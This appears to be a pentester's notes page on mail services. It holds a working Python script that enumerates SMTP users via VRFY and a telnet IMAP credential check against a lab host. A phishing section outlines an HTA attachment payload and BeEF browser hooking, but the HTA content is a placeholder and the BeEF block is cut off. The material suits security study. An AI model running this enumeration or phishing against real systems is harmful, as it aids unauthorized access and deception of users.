####
MAIL
####
|
****
SMTP
****
| https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp
| https://github.com/cytopia/smtp-user-enum
|
| (WIP) Enum users with VRFY
.. code-block:: bash
#!/usr/bin/python3
# python3 /tmp/test.py servermail /tmp/users
import asyncio
import sys
METHOD = 'VRFY'
NC = '\033[0m'
FAIL = '\033[1m\033[91m'
WARN = '\033[1m\033[93m'
GREEN = '\033[1m\033[92m'
async def Send_MSG(user,writer):
msg = METHOD + ' ' + user + '\r\n'
writer.write(msg.encode())
await writer.drain()
async def Receive_MSG(reader):
data = await reader.read(1024)
code = data.decode().split()[0]
return data, code
async def Check_Users_On_Server(server, users):
reader, writer = await asyncio.open_connection(server, 25)
data, code = await Receive_MSG(reader)
if code == '220':
print(f'{NC} ... {code} {server} : {data.decode()!r}')
await Send_MSG("qrbthuatys", writer)
data, code = await Receive_MSG(reader)
if code == '252':
print(f"{WARN} !!! {code} {server}: WILDCARD DETECTED, aborting... {NC}({data.decode()!r})")
return
for user in users:
await Send_MSG(user, writer)
data, code = await Receive_MSG(reader)
if code in ['502','503'] :
print(f"{NC} ... {code} {server} : unavailable method {METHOD}, aborting... ({data.decode()!r})")
break
elif code == '550':
print(f"{WARN} !!! {code} {server}: User '{user}' not found {NC}({data.decode()!r})")
elif code == '252':
print(f"{GREEN} +++ {code} {server}: User '{user}' PROBABLY valid {NC}({data.decode()!r})")
elif code == '250':
print(f"{GREEN} +++ {code} {server}: User '{user}' VALID !! {NC}({data.decode()!r})")
else :
print(f'{FAIL} ??? {code} {server} : {data.decode()!r}')
writer.close()
await writer.wait_closed()
with open(sys.argv[2], 'r') as f :
USERS = f.read().splitlines()
async def main():
tasks = []
tasks.append(Check_Users_On_Server(sys.argv[1],USERS))
await asyncio.gather(*tasks)
asyncio.run(main())
|
****
IMAP
****
| https://book.hacktricks.xyz/network-services-pentesting/pentesting-imap
| Checking if creds are valids :
.. code-block:: bash
user@host:/$ telnet server.beepboop 143
Trying 10.129.236.142...
Connected to server.beepboop.
Escape character is '^]'.
* OK IMAPrev1
A1 LOGIN administrator@server.beepboop password123
A1 OK LOGIN completed
|
****
POP3
****
| https://book.hacktricks.xyz/network-services-pentesting/pentesting-pop
.. code-block:: bash
xxx
|
********
Phishing
********
| When performing phishing we can expect from user to interact with our payloads.
| I'm creating a HTA payload that we can send as an attachment.
.. code-block:: bash
cat <<'EOF'>/tmp/rs.hta
This is a HTA!
Hello World
EOF
| If the user click on links you can also try to link the user's browser with beef,
| You have to run beef and host a web page to run the script
.. code-block:: bash
cat <<'EOF'|sudo tee /var/www/html/beef.html